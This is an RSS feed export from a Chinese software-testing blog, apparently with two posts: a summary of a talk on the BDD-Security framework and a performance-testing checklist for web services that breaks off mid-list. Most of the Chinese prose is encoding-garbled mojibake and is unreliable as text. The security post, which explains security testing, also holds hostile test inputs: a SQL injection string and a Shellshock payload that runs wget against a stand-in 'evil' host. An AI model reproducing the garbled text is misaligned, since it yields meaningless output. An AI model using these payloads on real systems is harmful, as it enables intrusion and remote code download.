锘??xml version="1.0" encoding="utf-8" standalone="yes"?>BlogJava-qileilovehttp://www.67529968.com/qileilove/blog宸茬粡杞?#32457;?#38007;砱ithub,澶?#28729;?#29831;疯闂?http://qaseven.github.io/zh-cnWed, 20 Feb 2019 07:04:10 GMTWed, 20 Feb 2019 07:04:10 GMT60鍦紑鍙戞祦绋嬩腑宓屽叆瀹夊叏娴?#29831;?/title><link>http://www.67529968.com/qileilove/archive/2015/03/18/423599.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:10:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2015/03/18/423599.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/423599.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2015/03/18/423599.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/423599.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/423599.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆ContinuumSecurity鍒涘?#23337;?#31712;tephen de Vries锛?#37734;Velocity Europe 2014澶細涓婃彁鍑?#27996;?#37816;佺画涓?#37721;?#29785;嗗寲鐨?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">瀹夊叏娴?#29831;?/strong></u></a>鐨?#29785;?#37904;?#37510;係tephen琛?#32448;?#38171;岄偅浜?#37734;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鏁忔嵎</strong></u></a>?#32017;鍙戣繃绋嬩腑鐢?#27996;?#28751;哘A宓屽叆鏁?#28051;紑鍙戞祦绋?#37928;?#37826;规硶鍜?#23480;?#37711;烽兘?#20824;?#24723;鏍?#37928;?#37922;?#27996;?#28729;夊叏娴?#29831;?#37510;侭DD-Security鏄?#28051;涓熀浜嶫Behave锛?#28051;?#38316;靛惊Given-When-Then鏂规硶鐨?#28729;夊叏娴?#29831;曟鏋?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆浼犵粺鐨?#28729;夊叏娴?#29831;曢兘閬靛惊鐎戝竷?#31078;绋?#38171;屼篃灏?#37828;?#29831;?#28729;夊叏?#27935;闃熸?#37828;?#37734;紑鍙?#38339;?#23048;?#37928;?#37832;?#37832;熸墠鍙?#28051;庤繘鏉?#38171;屽苟涓?#38315;氬父闇瑕?#28598;?#38318;?#28051;?#28729;?#37928;勫府?#23018;銆?#37734;?#37825;?#28051;紑鍙戞祦绋嬩腑锛屾笚閫?#23092;?#29831;曟?#37828;?#29722;?#28729;?#37818;?#37714;?#23536;堟櫄鎵嶅仛锛屼娇寰?#28051;哄簲鐢仛瀹夊叏闃?#38012;?#37928;?#28000;诲姟灏叾鍥伴毦涓?#28598;?#37833;?#37510;係tephen璁?#28051;?#28729;夊叏娴?#29831;?#28729;屽叏鍙?#28000;?#37721;?#23536;?#37709;廞A涓鏍?#38171;?#23011;?#28051;?#27996;洪兘瀵?#28729;夊叏闂?#26864;樿礋璐?#38171;?#28729;夊叏闂?#26864;?#37721;?#28000;?#37734;洿鎺繎浠?#37934;佺殑?#30512;闈?#38000;冭檻锛?#28729;夊叏娴?#29831;?#28729;屽叏鍙?#28000;?#23443;屽叆涓涓?#37816;佺画?#27878;鎴?#37928;勫紑鍙戣繃绋嬩腑銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆涓?#27996;?#29825;?#29831;QA鍜屽?#22794;叏娴?#29831;?#37721;?#37832;夐噺鐨勫?#21700;埆鑰屾病鏈?#29840;?#37928;勫?#21700;埆锛孲tephen灞曠浜咰. Maartmann-Moe鍜孊ill Sempf鍒?#37714;?#37721;戝竷鐨?#37818;?#37911;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆浠嶲A鐨?#29785;掑害锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆QA宸?#32459;?#29999;堣蛋?#32344;涓瀹堕?#25489;锛?#37904;?#27996;?#28051;鏉暏?#21421;锛?#37904;?#27996;?鏉暏?#21421;锛?#37904;?#27996;?99999999鏉暏?#21421;锛?#37904;?#27996;?#28051;鍙湧铚?#38171;?#37904;?#27996;?1鏉暏?#21421;锛?#37904;?#27996;?#28051;涓猻fdeljknesv銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆浠?#28729;夊叏鐨?#29785;掑害锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#31514;閫?#23092;?#29831;?#23480;?#32459;?#29999;堣蛋?#32344;涓瀹堕?#25489;锛?#37904;?#27996;?#28051;鏉暏?#21421;锛?#37904;?#27996;?#8221;>鏉暏?#21421;锛?#37904;?#27996;?#8217;or 1=1-鏉暏?#21421;锛?#37904;?#27996;?) { :; }; wget -O /beers http://evil; /鏉暏?#21421;銆?#37510;銆瑕?#28751;?#28729;夊叏娴?#29831;曢泦鎴愯繘鏁忔嵎?#32017;鍙戞祦绋嬩腑锛岄鍏?#38343;瑕佹弧瓒?#37928;?#37833;?#28000;?#37828;?#38171;?#37721;?#29785;佹?#38171;屼互?#31350;閲?#37721;?#37721;婃椂搴斿?#35268;鏂藉?#26421;慨琛?#38171;?#37721;?#23092;?#29831;曟?#38171;屼互?#31350;浜?#38007;?#37716;寲锛屾瘮浠?#28000;?#32480;鍗?#37928;?#37813;?#37819;忔洿鏈?#28000;峰?#37510;係tephen鍙戠幇BDD宸?#37711;?#37827;?#28751;卞悓?#26882;?#24359;瓒?#27996;?#37721;?#29785;佹?#37721;?#37721;?#23092;?#29831;曟?#38171;屽?#29363;浠栧紑濮嬬潃鎵?#37835;勫?#31689;DD-Security瀹夊叏娴?#29831;曟鏋?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鐢?#27996;嶣DD-Security鏄熀浜嶫Behave鏋勫缓鐨?#38171;屽?#29363;瀹冧娇鐢BDD鐨?#37837;?#37713;?#29831;?#37828;?#29831;?#29815;Gherkin銆?#28051;涓狟DD-Security娴?#29831;?#37734;烘櫙濡?#28051;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆Scenario: Transmit authentication credentials over HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆Meta: @id auth_https</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆Given the browser is configured to use an intercepting proxy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆And the proxy logs are cleared</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆And the default user logs in with credentials from: users.table</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆And the HTTP request-response containing the default credentials is inspected</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆Then the protocol should be HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆BDD-Security鐢?#37812;?#37825;?#27996;?#37928;勭?#26663;啓涓?#38315;氬父?#20187;?#30838;涓?#28598;?#28051;鏍?#37510;侭DD-Security璇?#37828;?#26916;?#38344;?#28051;?#37712;欑潃锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鏈?#22935;?#37835;?#37928;?#37835;?#37835;勮璁娇寰?#28729;夊叏鐢緥鏁?#27996;嬩笌搴?#37922;?#37928;?#37911;?#28729;氬?#33392;埅閫昏?#25120;浉浜?#37913;珛锛?#26473;?#37808;忓?#23815;潃?#24723;涓涓?#37922;?#37812;?#37825;?#27996;嬩粎闇瑕佸?#27692;灏?#37928;勬?#29808;姩灏辫兘鐢?#37734;?#28598;?#28051;?#25652;?#37922;腑锛?#37832;夋椂鐢?#38007;?#37827;?#38343;?#24936;?#25980;銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆杩欎篃璇?#37828;嶣DD-Security妗?#37835;?#29825;?#28051;哄璁?#28598;氬簲鐢?#37833;?#29831;?#38171;?#37832;?#28051;绯?#37714;?#28729;夊叏闇?#30512;?#20824;鏄櫘閬?#29781;佹弧瓒?#37928;?#37510;備篃灏?#37828;?#29831;翠綘鍙?#38343;鍐?#28000;爜?#22968;宸?#37832;?#37928;?#37825;?#27996;嬫?#25489;叆浣?#37928;勫簲鐢?#8212;—?#31683;灏?#37828;?#28725;艰埅閫昏緫?#33105;鍗?#37721;?#37510;傚綋?#21159;锛屽繀瑕佺殑?#26882;鍊欎綘?#31683;瀹屽叏鍙?#28000;?#32514;栧啓鑷?#23480;?#37928;?#37922;?#37812;?#37825;?#27996;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆BDD-Security渚?#29863;?#27996;庣涓?#37826;?#28729;夊叏娴?#29831;?#23480;?#37711;?#37833;?#37813;?#29723;屽叿浣?#37928;?#28729;夊叏鐩?#37711;?#37928;勮涓?#38171;屼?#23338;?#20634;簲鐢?#37813;弿銆?#26473;?#27996;?#23480;?#37711;?#37832;OWASP ZAP鎴朜essus绛?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆Stephen杩樻彁鍒板叾瀹?#28051;浜?#37832;?#32491;?#28028;?#37716;熻兘鐨?#23480;?#37711;?#37510;傚Zap-WebDriver灏?#37828;?#28051;娆炬洿绠鍗?#37928;?#23480;?#37711;?#38171;?#28051;嶅枩娆BDD鏂?#23534;?#37928;?#27996;?#37721;?#28000;?#38000;冭?#25126;噰鐢?#28729;?#37510;侴auntlt涓嶣DD-Security妗?#37835;剁被浼?#38171;屽悓鏍锋敮鎸丅DD锛?#37721;?#37828;?#28729;冧娇鐢?#37928;勭紪绋?#29831;?#29815;鏄?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>銆侻ittn鐢?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Python</strong></u></a>缂栧啓骞?#28051;斿悓鏍蜂篃?#23047;鐢Gherkin銆?/div><img src ="http://www.67529968.com/qileilove/aggbug/423599.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2015-03-18 22:10 <a href="http://www.67529968.com/qileilove/archive/2015/03/18/423599.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>濡備綍?#32344;琛Web鏈嶅姟鐨勬兘娴?#29831;?#38171;?/title><link>http://www.67529968.com/qileilove/archive/2015/03/18/423598.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/423598.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆闅忕潃娴?#29785;?#37731;?#37716;熻兘鐨?#28051;?#37826;?#28729;屽杽锛?#37922;?#37812;烽噺涓?#37826;?#37928;勬攢鍗?#38171;屾秹鍙?#37714;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>鏈嶅姟鐨勫?#29115;兘鍦?#28051;?#37826;?#37928;勫鍔?#38171;屽浜?#37812;?#28000;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">娴?#29831;?/strong></u></a>鏉?#29831;?#38171;屾垜浠?#28051;?#28000;?#29781;?#28103;?#29831;?#37832;嶅姟绔?#37716;熻兘鐨勬纭?#37804;?#38171;屼篃瑕?#26976;?#29831;?#37832;嶅姟绔?#32459;?#25652;?#37928;勬兘鏄?#37722;?#32471;?#37722;?#29781;佹眰銆傞偅涔?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鎬兘娴?#29831;?/strong></u></a>?#20824;瑕佸仛浜?#28000;涔堝憿锛熸垜浠?#29831;?#37804;?#37837;疯繘琛屾兘娴?#29831;曞憿锛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆<strong style="word-break: break-all; line-height: normal !important;">鎬兘娴?#29831;?#28051;鑸細鍥?#32513;?#28000;?#28051;嬭繖浜?#38338;?#26864;樿岃繘琛?#38171;?/strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆1. 浠涔堟儏鍐?#28051;?#38343;瑕佸仛鎬兘娴?#29831;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆2. 浠涔堟椂鍊欏仛鎬兘娴?#29831;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆3. ?#20187;鎬兘娴?#29831;曢渶瑕?#37713;?#28598;囧摢浜涘唴瀹?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆4. 浠涔?#37837;?#37928;勬兘鎸?#37837;?#37828;?#32471;?#37722;?#29781;佹眰鐨?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆5. 鎬兘娴?#29831;曢渶瑕佹?#22549;泦鐨?#37825;?#37817;?#37832;夊摢浜?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆6. 鎬?#37837;锋?#22549;泦杩?#27996;?#37825;?#37817;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆7. 濡備綍鍒?#37835;?#37824;堕泦鍒?#37928;?#37825;?#37817;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆8. 濡備綍缁?#37713;?#37804;兘娴?#29831;曟鍛?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆鎬兘娴?#29831;?#37928;?#37813;?#29723;岃繃绋?#37721;?#29781;佸仛鐨?#27996;嬪効涓?#29781;佸寘鍚?#28000;?#28051;嬪唴瀹?#38171;?/strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆1. 娴?#29831;?#29831;?#28028;?#38339;?#23048;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鍦?#26473;?#28051;?#38339;?#23048;?#38171;屾垜浠?#29781;?#29831;?#28028;?#29722;?#23092;?#37928;?#27996;搧鏄?#37722;?#29781;佽繘琛屾兘娴?#29831;?#38171;屽苟涓斿鐩墠鐨?#37832;嶅姟鍣?#37916;?#28583;冭繘琛岀浼?#38171;?#37832;嶅姟鐨勬兘鏄?#37722;弧瓒?#37833;?#28000;?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆棣?#37711;?#29781;?#37828;庣鍙?#29781;佹秹鍙?#37714;?#37713;?#28598;?#28051;婄嚎鐨?#37832;嶅姟绔?#27996;搧锛屽氨闇瑕佽繘琛屾兘娴?#29831;?#37510;傚叾娆?#28641;?#37835;?#27996;搧闇?#30512;?#33105;鏄庣?#24385;鍒?#27996;嗘兘鎸?#37837;?#38171;岄偅?#31683;蹇?#26916;?#29781;佸仛鎬兘娴?#29831;?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆娴?#29831;?#27996;哄憳鍦繘琛屾兘娴?#29831;曞墠锛岄渶瑕?#37837;规嵁?#32139;?#22688;鐨勬?#22549;泦鍒?#37928;勫?#21229;淇伅锛岄鍏堝仛鎬兘鐨?#29831;?#28028;?#38171;屾?#22549;泦鐨勫唴瀹?#28051;?#29781;佸寘鎷?#29999;?#28729;?#37510;?#29831;锋?#20634;寘澶?#28751;?#37510;?#39582;?#37721;?#37922;?#37812;?#37825;?#37724;屽綋?#22688;web鏈嶅姟鐨勫甫瀹界瓑</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆2. 娴?#29831;?#37713;?#28598;?#38339;?#23048;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鍦?#26473;?#28051;?#38339;?#23048;?#38171;屾垜浠?#29781;?#27996;?#29785;?#28000;?#28051;嬪唴瀹?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆a. 鏈嶅姟鍣?#37928;?#37835;?#37835;?#37828;?#28000;涔?#37837;?#37928;?#38171;屼?#23338;锛歸eb鏈嶅姟鍣?#37828;?#28000;涔?#38171;?#37828;?#28641;備?#26338;?#23943;疆鐨?#38171;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鏁?#37817;?#25652;?/strong></u></a>鐢?#37928;?#37828;?#28000;涔?#38171;熸?#23941;姟鐢?#37928;?#37828;?#28000;涔?#29831;?#29815;缂栧啓鐨?#38171;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆b. 鏈嶅姟绔?#37716;熻兘鐨勫唴閮?#38315;昏緫瀹炵幇锛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆c. 鏈嶅姟绔?#28051;?#37825;?#37817;?#25652;?#37828;?#28641;備綍浜?#27996;?#37928;?#38171;屼?#23338;锛?#37825;?#37817;?#25652;?#37928;勮缁?#37835;?#37828;?#28000;涔?#37837;?#37928;?#38171;熸?#23941;姟绔?#37716;熻兘鏄?#37804;?#37837;锋搷浣?#37825;?#37817;?#25652;?#37928;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆d. 鏈嶅姟绔?#28051;?#28729;?#37812;风涔?#38338;?#37828;?#28641;備綍?#32344;琛?#27996;?#27996;?#37928;?#38171;屽嵆鎺?#37721;?#28729;?#28052;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆閫氳繃鏀堕泦浠?#28051;?#28103;伅锛?#23092;?#29831;?#27996;哄憳鏁寸悊鍑?#37832;嶅姟鍣?#32468;?#37722;勬鍧椾箣闂?#37928;?#27996;?#27996;掑浘锛屽鎴风涓?#37832;嶅姟绔?#28052;?#38338;?#37928;?#27996;?#27996;掑浘浠?#37721;婃?#23941;姟绔?#37712;?#38318;?#37716;熻兘閫昏緫瀹炵幇鐨勬祦绋?#37733;?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆e. 璇?#37832;嶅姟涓婄嚎鍚?#37928;?#37922;?#37812;烽噺棰?#28028;?#37828;?#28598;?#28751;?#38171;屽鏋?#37827;犳硶璇?#28028;?#37713;?#37922;?#37812;烽噺锛岄偅涔?#37721;?#28000;?#38315;氳繃璁?#29825;?#23092;?#29831;曟墽琛?#37928;?#37734;烘櫙寰?#37713;鸿繖涓?#37706;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆f. 涓婄嚎瑕?#38318;?#32515;?#37714;?#28598;?#28751;?#37721;?#37832;哄櫒涓?#38171;屾瘡鍙?#37832;哄櫒鐨勮礋杞藉潎琛?#37828;?#28641;備綍璁?#29825;?#37928;?#38171;屾瘡鍙?#37832;哄櫒鐨?#38320;嶇疆浠涔?#37837;?#37928;?#38171;岀綉缁?#37916;?#28583;?#37828;?#28000;涔?#37837;?#37928;?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆g. 浜?#29785;?#23092;?#29831;曠幆澧?#28051;庣嚎涓?#37916;?#28583;?#37928;?#28051;嶅悓锛屼?#23338;?#20636;綉缁?#37916;?#28583;?#37510;佺浠堕?#23943;疆绛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆h. 鍒?#28729;?#23092;?#29831;曟墽琛?#37928;勭瓥鐣?#38171;?#37828;?#38343;瑕?#26976;?#29831;?#38343;?#30512;?#33105;鐨?#37816;?#37837;囪兘鍚揪鍒?#38171;?#26473;?#37828;?#29831;?#28028;?#32495;荤粺鐨?#37832;澶?#28598;勭?#21978;兘鍔?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆i. 娌?#38315;?#28051;婄嚎鐨?#37816;?#37837;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆閫氳繃鏀堕泦浠?#28051;?#28103;伅锛岀瀹?#37804;兘<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">娴?#29831;?#37922;緥</strong></u></a>璇?#28641;備綍璁?#29825;?#38171;屽?#20633;綍璁?#29825;?#37804;兘娴?#29831;?#37922;緥鎵?#29723;?#37928;?#37734;烘櫙锛屼互鍙?#28051;婄嚎鎸?#37837;?#37928;?#29831;?#28028;?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆3. 娴?#29831;?#29825;?#29825;?#38339;?#23048;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鏍规嵁娴?#29831;?#27996;哄憳閫氳繃涔嬪墠鏁寸悊鐨?#27996;?#27996;掑浘鍜屾祦绋?#37733;?#38171;?#29825;?#29825;?#37929;?#25652;?#37928;勬兘娴?#29831;?#37922;緥銆?#37804;兘娴?#29831;?#37922;?#28186;嬩富瑕?#37714;?#28051;洪鏈?#37929;?#37837;?#37922;?#37812;?#23092;?#29831;?#38171;?#37922;?#37812;?#39582;?#37721;戞祴璇?#38171;岀鍔?#23534;哄害涓?#28598;?#37825;伴噺娴?#29831;?#38171;岀綉缁?#37804;兘娴?#29831;?#38171;?#37832;嶅姟鍣?#37804;兘娴?#29831;?#38171;屽叿浣撶?#26663;啓鐨?#23092;?#29831;?#37922;?#28186;嬭?#20345;洿鍏?#28729;?#38340;呮儏鍐佃繘琛岃鍑?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鐢?#28186;嬬?#26663;啓鐨勬楠?#28598;?#38007;?#37714;?#28051;?#38171;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆a. 閫氳繃鑴?#37832;?#22959;?#37815;?#37719;?#28051;鐢?#37812;?#37828;?#28641;備綍?#23047;鐢?#26473;?#28051;獁eb鏈嶅姟鐨?#37510;?#26473;?#38322;屾鎷?#37928;?#37721;?#28000;?#37828;?#37922;?#37812;蜂娇鐢web鏈嶅姟鐨勬煇涓涓?#37716;?#28003;?#37812;栨煇鍑?#28051;?#37716;?#28003;?#38171;屾煇涓涓?#37716;熻兘鎴?#37713;?#28051;?#37716;熻兘锛屼篃鍙?#28000;?#37828;娇鐢web鏈嶅姟鐨?#37825;?#28051;繃绋?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆b. 鏍规嵁瀹?#37812;风鐨?#28729;?#38340;呮儏鍐?#37724;?#37832;嶅姟鍣?#32468;?#37928;勭瓥鐣?#38171;岄氳繃灏嗚剼鏈腑鍙?#37721;?#37928;?#37825;?#37817;繘琛?#37721;?#37825;板寲锛?#37833;?#22959;?#37815;?#28598;?#28051;?#37922;?#37812;?#37928;勬搷浣?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆c. 楠?#29831;?#37721;?#37825;板寲鍚庤剼鏈?#37716;熻兘鐨勬纭?#37804;?#37510;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆d. 娣诲?#29363;鏌?#37904;?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆e. 璁?#29825;?#38004;?#37832;?#37813;?#29723;?#37928;勭瓥鐣?#38171;屽姣?#28051;?#37716;熻兘鐨?#37813;?#29723;屾鏁?#38171;屽悇涓?#37716;熻兘鐨?#37813;?#29723;?#26916;哄簭绛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆4. 娴?#29831;曟墽琛岄樁娈?br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鏍规嵁瀹?#37812;风鐨?#27996;搧琛?#28051;?#29825;?#29825;web鏈嶅姟鐨?#23092;?#29831;曟墽琛?#37734;烘櫙鍙?#23092;?#29831;曟墽琛?#37928;勮繃绋?#38171;屽嵆娴?#29831;曟墽琛?#37832;?#38338;?#37721;?#37922;?#37928;?#27996;嬪効銆?#38315;氳繃鐩戞帶绋?#25652;忔?#22549;泦web鏈嶅姟鐨勬兘鏁?#37817;?#37724;寃eb鏈嶅姟鎵鍦?#32495;荤粺鐨勬兘鏁?#37817;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍦?#23092;?#29831;曟墽琛岃繃绋嬩腑锛?#26473;?#29781;?#28051;?#37826;?#37928;?#37711;虫敞浠?#28051;嬪唴瀹?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆a. web鏈嶅姟鐨勮繛鎺?#38315;?#25652;?#28641;備綍锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆b. 姣忕鐨?#37904;?#37713;?#37825;?#28641;備綍锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆c. Web鏈嶅姟?#20824;鍏?#29825;?#28598;?#28751;?#28051;?#37922;?#37812;峰悓?#26882;鍦嚎锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆d. 濡?#37835;?#29906;呰繃浜?#26473;?#28051;?#37825;伴噺锛屼細鍑虹幇浠涔?#37916;拌薄锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆e. Web鏈嶅姟?#20824;鍚?#28598;勭悊澶噺鐢?#37812;?#28725;瑰悓涓涓?#26916;?#38344;?#37928;?#29831;锋眰锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆f. 濡?#37835;web鏈嶅姟宕簝锛?#37828;?#37722;細鑷?#37716;?#37805;?#28598;?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆g. 